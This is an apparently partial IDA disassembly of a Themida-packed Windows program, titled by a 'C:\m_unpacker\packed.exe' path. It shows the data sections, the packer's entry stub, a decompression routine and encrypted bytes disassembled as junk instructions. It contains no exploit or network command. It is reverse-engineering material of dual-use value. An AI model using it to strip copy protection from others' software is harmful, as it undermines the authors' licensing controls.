dword_4DB06C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
dword_4DB270	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
dword_4DB2CC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
dword_4DB4D0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6D0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8E4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB920	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB974	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB978	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB980	dd 2450B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB984	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB988	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB9A0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB9A4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9B0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9BA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9C0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9C2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9C8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9E4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9F8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DBA00	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DBA04	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA14	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB3C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB40	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB48	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB52	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB70	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB74	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB78	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB7C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB80	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB88	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBD4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBD6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBD8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBDA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBDE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBE0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBE2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBE4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC28	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC2A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC2C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC2E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC32	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC34	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC36	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC38	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC3C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC50	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC54	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC58	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC5C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC60	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC6C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC74	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC78	dd 2451140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0C8o
					; ___:0043D0D0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2450650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2450000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2450758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2450758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000F6000 (1007616.)
; Section size in file		: 000F6000 (1007616.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0C12DFAh, 46009h, 5444Eh, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00547FAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054B525 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054B79B SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043812Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_547FAC
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(⌠иД┼x╪^│',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_547FAC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1533574h, 1CEBFAAh, 98B8FB10h, 3348848Bh, 0FE6F847Bh
		dd 112E35F2h, 0E101BCFFh, 2DB9EA1Eh, 78F2FE44h,	7AF56465h
		dd 22710137h, 0F935C21Dh, 0DD081721h, 5D2491FFh, 0BFDBB88h
		dd 1FEAA01h, 74736552h,	41CC7261h, 0F42EE270h, 1FC2F978h
		dd 8171159h, 6854E0FFh,	691C6D65h, 0FD216164h, 235C9244h
		dd 3CC50FFh, 22EA1FE1h,	0AF0BE171h, 0BCB4CE4Ah,	2303DC36h
		dd 0C58B7877h, 6038D4E4h, 5D44E8h, 3583ED81h, 958906ACh
		dd 0B5066550h, 101C5122h, 4244185h, 0B99BD83h, 0C74031Ch
		dd 0E291E88Bh, 3D3532B8h, 4470E3C2h, 203E8E24h,	6A0C21B1h
		dd 29A3E845h, 749A0F68h
		db 83h,	7, 4Ah
; ---------------------------------------------------------------------------


loc_4E032B:				; CODE XREF: Themida_:004E03A9j
		fisttp	word ptr [edx]
		add	esp, ds:0D20A894Bh
		aad	21h
		jmp	near ptr 0EC98054Eh
; ---------------------------------------------------------------------------
		dw 1FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+13671EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E036E
		iret
; ---------------------------------------------------------------------------
		dd 83E40820h, 0FF0A93DBh, 0EB43120Ch
		db 0E1h, 36h
; ---------------------------------------------------------------------------


loc_4E036E:				; CODE XREF: Themida_:004E035Dj
		fsubr	qword ptr [esi+61h]
		db	26h
		or	cl, 0C2h
		add	al, 80h
		inc	esi
		add	esp, 2D1FF7Ch
		dec	ecx
		enter	0FFFF80BAh, 8Dh
		inc	ebp
		or	byte ptr [ebx-38D7F7A3h], 85h
		sbb	[ecx+0A408D50h], ecx
		rol	ebx, 1
		mov	ds:0B894118h, dl
		adc	al, 81h
		mov	ebp, 755D4006h
		push	edx
		jecxz	short loc_4E03CA
		test	[ebp-7F9BE246h], ecx
		jnz	short loc_4E032B
		mov	cl, [esi]
		mov	ebx, 15B92F4h
		mov	eax, 785437ABh
		rcl	eax, cl
		stc
		ja	near ptr 0F7C34EC8h
		pusha
		scasd
		retn
; ---------------------------------------------------------------------------
		db 47h
		dd 8C4AA446h
		db 46h,	54h
; ---------------------------------------------------------------------------


loc_4E03CA:				; CODE XREF: Themida_:004E03A1j
		stc
		inc	edx
		rcl	dword ptr [edi+61h], 1
		mov	al, [eax-30h]	; CODE XREF: Themida_:004E03D2j
		lock jmp short near ptr	loc_4E03CF+1
; ---------------------------------------------------------------------------
		db 14h,	0EEh, 45h
		dd 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h,	7DC334DCh
		dd 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh, 0F065C14Ah
		dd 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh,	98FB8039h
		dd 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h,	8FE660Ah
		dd 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh, 4424BD06h
		dd 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h,	0AACCA576h
		dd 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh, 0AA83B0BDh
		dd 0BAA1387Ch, 0C1B9C108h, 0BDFC5370h, 0FE003882h, 0E49470Fh
		dd 22B9FA75h, 0BBE76A2Eh, 0F1A31F01h, 0C78EB82h, 86018EECh
		dd 7AD39E7h, 50716551h,	28F71DBFh, 5007268Ah, 7F5905E9h
		dd 6751796Bh, 0A7211304h, 458AC0C4h, 82660525h,	211709h
		dd 40C45141h, 8C6796D5h, 8DB4DF06h, 6F60C32Ch, 0BC83C2F1h
		dd 0CBF9B090h, 82108034h, 765B4E39h, 0B810030Fh, 0D1043D51h
		dd 46B33BE3h, 9755A0Eh,	0E11AC2Eh, 0E4EC0548h, 69065h
		dd 5C58457h, 0FA64968Eh, 47853E9h, 8C29C254h, 0E7D07166h
		dd 98A8DD0Eh, 77812BFFh, 1D220460h, 0C84C134h, 207533F9h
		dd 0BB833FBCh, 28EFB30Ah, 71850230h, 7F8C33ECh,	40F2FFCCh
		dd 0E9FD4519h, 6200604Ah, 4D8C52C4h, 82101125h,	0AB99B1AAh
		dd 1384A15Ah, 0C0DA5614h, 5EE825Eh, 481A23Ah, 8A4FC3FBh
		dd 2013B9AAh, 43975223h, 14881083h, 0E961130Ah,	4640A109h
		dd 0FE3E23D9h, 5F4028F9h, 62D20AF3h, 20238A10h,	0A9D41F8Bh
		dd 0DA8DCF16h, 81DBC0C0h, 8C7805E2h, 1ACA0B3Dh,	8E315386h
		dd 5B87D133h, 558A22C4h, 43101E31h, 39EEC453h, 0FA14CD00h
		dd 44370F4Ch, 0B81489Fh, 6286C806h, 94E7F602h, 68EA35h
		dd 2EDE8712h, 0A8610Fh,	88B03743h, 1ECB3C68h, 0BC54E002h
		dd 902DEA08h, 0A4B3ECFFh, 1010F92Ah, 0DC61A87h,	10B12E9h
		dd 52880A23h, 304A80D7h, 5C0F5E5Dh, 61AA3705h, 0FA8B2CA1h
		dd 30868AE4h, 10521382h, 9FA40585h, 0B10FBC14h,	26DA31ADh
		dd 0E901220Eh, 0F5258010h, 0AE7F6EABh, 0DF811DA4h, 78A1C0EDh
		dd 8CD57915h, 0BC5AF300h, 5C68694Dh, 0C1C21882h, 389B566h
		dd 48CDB888h, 13C8FC69h, 651F380h, 0BF4195h, 0E6AA662h
		dd 2EF17D57h, 6C60440Ah, 0DB01F231h, 595FA543h,	3DC8F625h
		dd 0AC8F802h, 5D81B9C2h, 66041191h, 0A1EE024h, 655971ADh
		dd 0AC268039h, 5537BA50h, 2B41C100h, 118A24D3h,	0CB1E86Ch
		dd 5FFA3D64h, 91FE983Eh, 15124Ch, 59058D3h, 0C20EE902h
		dd 70E7874Dh, 6FF1D4C0h, 0AA3E7103h, 125E382Fh,	15CD932h
		dd 0E984D448h, 8711C903h, 0B4919939h, 0E890E6D3h, 3D7D6833h
